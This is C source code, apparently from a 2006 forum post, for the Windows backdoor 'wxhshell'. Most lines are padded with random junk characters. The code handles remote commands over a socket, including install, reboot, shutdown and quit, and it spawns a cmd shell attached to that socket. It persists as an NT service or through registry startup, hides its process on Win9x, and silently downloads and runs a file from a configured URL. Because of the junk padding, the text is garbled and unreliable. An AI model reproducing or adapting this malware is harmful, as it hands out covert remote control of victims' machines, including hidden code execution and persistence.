  // 帮助 Z,, qmwd  
  case '?': { u6*0% Km  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~(.&nysZ-  
    break; "3Ckc"G@  
  } R\u5!M$::  
  // 安装 Dv=pX.Z+  
  case 'i': { XpT~]q}  
    if(Install()) _=I&zUF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e{ZS"e`!  
    else >H]|R }h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <7MxI@\  
    break; :*tFW~<*b  
    } !WD^To  
  // 卸载 A=wh&X  
  case 'r': { msZ 3%L  
    if(Uninstall()) ~8lB#NuN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m{ rsjdnA  
    else #\3X;{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ev5m(wR  
    break; 0(^ N  
    } $ 3.Y2&$T  
  // 显示 wxhshell 所在路径 Y0o{@)Y:  
  case 'p': { eqU y>  
    char svExeFile[MAX_PATH]; 7<93n`byM  
    strcpy(svExeFile,"\n\r"); (S63:q&g  
      strcat(svExeFile,ExeFile); VzuU 0  
        send(wsh,svExeFile,strlen(svExeFile),0); nS^,Sq\Ak  
    break; QM=Y}   
    } '#612iZo  
  // 重启 A+"'8%o9}  
  case 'b': { Es1T{<G|w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *HQ>tvUh  
    if(Boot(REBOOT)) zi+NQOhR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Q1oSpF  
    else { W`jKe-jF  
    closesocket(wsh); zm=|#f  
    ExitThread(0); 9f3rMPVh(  
    } +!-U+W  
    break; !<5Wi)*  
    } 4 :M}Vz-  
  // 关机 TmLfH d  
  case 'd': { 1Zgv+.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %Lfy!]Ru  
    if(Boot(SHUTDOWN)) 34aSRFsk*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VVi3g  
    else { :i o[9B [  
    closesocket(wsh); >q1rdq  
    ExitThread(0); Y]"lcr}  
    } tAS[T9B  
    break; VO7&<Y}{x  
    } {6>:= ?7]R  
  // 获取shell S2~im?^21  
  case 's': { _j\ 8u`^n  
    CmdShell(wsh); AXPdgo6  
    closesocket(wsh); XWUi_{zn  
    ExitThread(0); &v/R-pz  
    break; fa(-&;q  
  } E*#5OT  
  // 退出 pT<I!,~  
  case 'x': { -) !;45  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3\a VZx!  
    CloseIt(wsh); Qs8Rb]%|  
    break; b'(Hwc\ t  
    } J L2g!n= K  
  // 离开 'LLpP#(  
  case 'q': { $8NM[R.8^4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `Wp& 'X  
    closesocket(wsh); aj$&~-/ R  
    WSACleanup(); D4U<Rn6N_5  
    exit(1); Ak,T{;rD  
    break; wl%I(Cw{]  
        } B3&ETi5NTU  
  } S+-V16{i  
  } X;yThb` iI  
SM[VHNr,-  
  // 提示信息 lxtt+R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n@//d.T  
} O|0,= 5  
  } c #8@>;  
fvZ[eJ  
  return; VI8/@A1Gv  
} lQ?_1H~4=  
\S)cVp)h  
// shell模块句柄 (Cbm*VL  
int CmdShell(SOCKET sock) \m~Oaf;$  
{ <d$t*vnq  
STARTUPINFO si; v=?/c-J*  
ZeroMemory(&si,sizeof(si)); 7y=1\KW(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CjmF2[|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :2AlvjvjZ  
PROCESS_INFORMATION ProcessInfo; uB+ :sX-L  
char cmdline[]="cmd"; \-{2E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NnO%D^P]  
  return 0; u~1 ,88&U  
} .N  Z  
GBGna3  
// 自身启动模式 r5PZ=+F  
int StartFromService(void) x{$/|_  
{ q$jwH] .  
typedef struct PS`F  
{ \kC'y9k  
  DWORD ExitStatus; d(9C7GLC,  
  DWORD PebBaseAddress; 7$Pf  
  DWORD AffinityMask; -n6e;p]  
  DWORD BasePriority; DWk2=cO  
  ULONG UniqueProcessId; <ua! ]~  
  ULONG InheritedFromUniqueProcessId; Z>ztFU  
}   PROCESS_BASIC_INFORMATION; SBamgc  
:hDv^D?3  
PROCNTQSIP NtQueryInformationProcess; 71,GrUV:  
'L G )78sk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;! #IRR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X-cP '"  
`/o|1vv@_  
  HANDLE             hProcess; %H=^U8WB  
  PROCESS_BASIC_INFORMATION pbi; M8f[ck  
\}; 4rm}V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |pR'#M4j4A  
  if(NULL == hInst ) return 0; (%*~5%l\  
Ny]]L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3PaMq6Ca  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 82yfPQ&UI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4\14HcTcK  
I\('b9"*  
  if (!NtQueryInformationProcess) return 0; fs8C ^Ik>~  
"VA'W/yv!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R{{?wr6b$  
  if(!hProcess) return 0; XZj3x',;  
.8]=yPm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L.% zs  
-;GB Xq  
  CloseHandle(hProcess); )T'~F  
Nd**":i$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =Kt!+^\")  
if(hProcess==NULL) return 0; ;tfGhHpQn  
@Zfg]L{Lr  
HMODULE hMod; 6\6g-1B`  
char procName[255]; DU:+D}v l  
unsigned long cbNeeded; #QiNSS  
%m "9 =C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E4xybVo@  
MG3xX;  
  CloseHandle(hProcess); - *xn`DH  
14p{V} f3  
if(strstr(procName,"services")) return 1; // 以服务启动 Mqm9i  
Y$FhV~m  
  return 0; // 注册表启动 gTg[!}_;\N  
} {1'M76T  
cEEnR1  
// 主模块 F& ['w-n%  
int StartWxhshell(LPSTR lpCmdLine) /5Xt<7vm8  
{ %TzdpQp"  
  SOCKET wsl; phy:G}F6%  
BOOL val=TRUE; Ss'Dto35Q  
  int port=0; |kqRhR(Ei  
  struct sockaddr_in door; (YHK,aC>u  
eyG[1EEU  
  if(wscfg.ws_autoins) Install(); ]O&yy{yYK  
h BzZJ/jn  
port=atoi(lpCmdLine); dSbz$Fct  
[V41 Gk  
if(port<=0) port=wscfg.ws_port; ^fti<Lw5  
hIwqSKq9  
  WSADATA data; n/+G^:~_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L EY k  
k<%y+v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (^^}Ke{J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oC(.u?  
  door.sin_family = AF_INET; RHuc#b0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Enqs|fkbN  
  door.sin_port = htons(port); #6nuiSF  
}Hb_8P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sDyt3xN  
closesocket(wsl); +xBM\Dz8  
return 1; ! $fF3^8-  
} 4JGU`L:~  
)D ':bWP  
  if(listen(wsl,2) == INVALID_SOCKET) { h~k+!\  
closesocket(wsl); _j|U>s   
return 1; HvW6=d(#  
} '.#3h$d  
  Wxhshell(wsl); b%e7rY2  
  WSACleanup(); 'PdUSv|lH  
.a}!!\@  
return 0; ^fvx2<  
qino:_g  
} N0UZ%,h\  
+}NQ |y V  
// 以NT服务方式启动 zO3}c3D~q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "Fqrk>Q~  
{ G_ 6!w//  
DWORD   status = 0; #=I5_u  
  DWORD   specificError = 0xfffffff; u7bji>j  
nLnzl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '#CYw=S+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PfJfa/#pA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TU?$yNE  
  serviceStatus.dwWin32ExitCode     = 0; {-L}YX"Bh  
  serviceStatus.dwServiceSpecificExitCode = 0; "mAMfV0  
  serviceStatus.dwCheckPoint       = 0; VPOp#;"%  
  serviceStatus.dwWaitHint       = 0; VBe&of+  
}1P v6L(o)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jW]Fx:mQi  
  if (hServiceStatusHandle==0) return; P.O/ZW>g  
|}<!O@<|  
status = GetLastError(); k]yv#Pa  
  if (status!=NO_ERROR) tD No; f  
{ L$=a,$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ux>LciNq  
    serviceStatus.dwCheckPoint       = 0; TJkWL2r0c  
    serviceStatus.dwWaitHint       = 0; [ P%'p-Hg_  
    serviceStatus.dwWin32ExitCode     = status; 910N 1E  
    serviceStatus.dwServiceSpecificExitCode = specificError; \$2zF8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xvn \~Vr  
    return; 3y-P-NI~=  
  } }62Q{>`  
$"`e^J9!!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c.h_&~0qf  
  serviceStatus.dwCheckPoint       = 0; .,gVquqMY  
  serviceStatus.dwWaitHint       = 0; :/i13FQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~{!,ZnO*  
} j4Y] 8  
qX*Xo[Xp  
// 处理NT服务事件,比如:启动、停止 ;Dc\[r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o^<W3Z  
{  fG|+ !  
switch(fdwControl)  Rlx  
{ _)^`+{N<  
case SERVICE_CONTROL_STOP: ;;n=(cM|z  
  serviceStatus.dwWin32ExitCode = 0; /P/::$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v#$}3+KVC  
  serviceStatus.dwCheckPoint   = 0; &%@>S.  
  serviceStatus.dwWaitHint     = 0; ' g Fewo  
  { ,pVq/1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +fG~m:E  
  } DWu~%U8  
  return; eEg> EI_U  
case SERVICE_CONTROL_PAUSE: qgsw8O&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n]bxG8~t  
  break; Ct}rj-L<i  
case SERVICE_CONTROL_CONTINUE: 3E:+DF-Z\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WvWZzlw  
  break; a,\GOy(q{  
case SERVICE_CONTROL_INTERROGATE: +(vL ~  
  break; KPI[{T\`ZM  
}; >2;KPV0H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G>W:3y  
} Q?-uJ1J  
scR+F'M  
// 标准应用程序主函数 30L/-+r1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N"/be  
{ juBzpQYj  
vz'<i. Yv4  
// 获取操作系统版本 L'}^Av_+  
OsIsNt=GetOsVer(); mW @Z1Plxs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rcG-V f@  
[300F=R  
  // 从命令行安装 9XW[NY#)#  
  if(strpbrk(lpCmdLine,"iI")) Install(); fFd"21 >  
a|@1RH>7H  
  // 下载执行文件 LrnE6 U9  
if(wscfg.ws_downexe) { D}EH9d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \t]aBT,  
  WinExec(wscfg.ws_filenam,SW_HIDE); "'mr0G9X  
} _tVrLb7`s  
]=m0@JTbG  
if(!OsIsNt) { +ZeK,Y+Xy  
// 如果时win9x,隐藏进程并且设置为注册表启动 !6{b)P  
HideProc(); >s"kL^  
StartWxhshell(lpCmdLine); }o9(Q8  
} [N guQ]B.  
else <N\#6m  
  if(StartFromService()) / lN09j  
  // 以服务方式启动  Fs1ms)  
  StartServiceCtrlDispatcher(DispatchTable); 5b%zpx0Y  
else 0 +"P 1/  
  // 普通方式启动 9NcC.}#-5  
  StartWxhshell(lpCmdLine); Lcy>!3q3~  
`jH0FJQ  
return 0; /R)(u@jk  
}
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只看该作者 1 发表于: 2006-10-10
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